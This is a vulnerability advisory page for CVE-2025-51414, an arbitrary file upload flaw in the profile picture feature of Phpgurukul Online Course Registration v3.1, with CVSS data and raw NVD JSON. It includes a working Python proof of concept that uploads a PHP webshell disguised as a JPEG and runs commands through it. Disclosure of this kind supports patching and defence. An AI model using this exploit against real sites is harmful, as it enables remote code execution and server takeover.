Security Vulnerability Report
中文
CVE-2025-51414 CVSS 8.8 HIGH

CVE-2025-51414

Published: 2026-04-13 21:16:24
Last Modified: 2026-04-17 15:33:34

Description

In Phpgurukul Online Course Registration v3.1, an arbitrary file upload vulnerability was discovered within the profile picture upload functionality on the /my-profile.php page.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Phpgurukul Online Course Registration v3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://target.com/my-profile.php" # Attacker's session cookie (Requires low privilege login) cookies = { "PHPSESSID": "attacker_session_id" } # Malicious PHP file content (Webshell) php_code = "<?php system($_GET['cmd']); ?>" # Prepare the payload files = { 'profile_pic': ('shell.php', php_code, 'image/jpeg') } data = { 'update': 'submit' } try: # Send POST request to upload the file response = requests.post(url, files=files, data=data, cookies=cookies) if response.status_code == 200: print("[+] File uploaded successfully.") print("[+] Try accessing the uploaded file at: http://target.com/uploads/shell.php?cmd=whoami") else: print("[-] Failed to upload file.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-51414", "sourceIdentifier": "[email protected]", "published": "2026-04-13T21:16:23.610", "lastModified": "2026-04-17T15:33:34.050", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Phpgurukul Online Course Registration v3.1, an arbitrary file upload vulnerability was discovered within the profile picture upload functionality on the /my-profile.php page."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/12T40910/CVE/issues/12", "source": "[email protected]"}, {"url": "https://medium.com/@tanushkushtk01/cve-2025-51414-unrestricted-file-upload-in-online-course-registration-v3-1-bd8b839be1d7", "source": "[email protected]"}]}}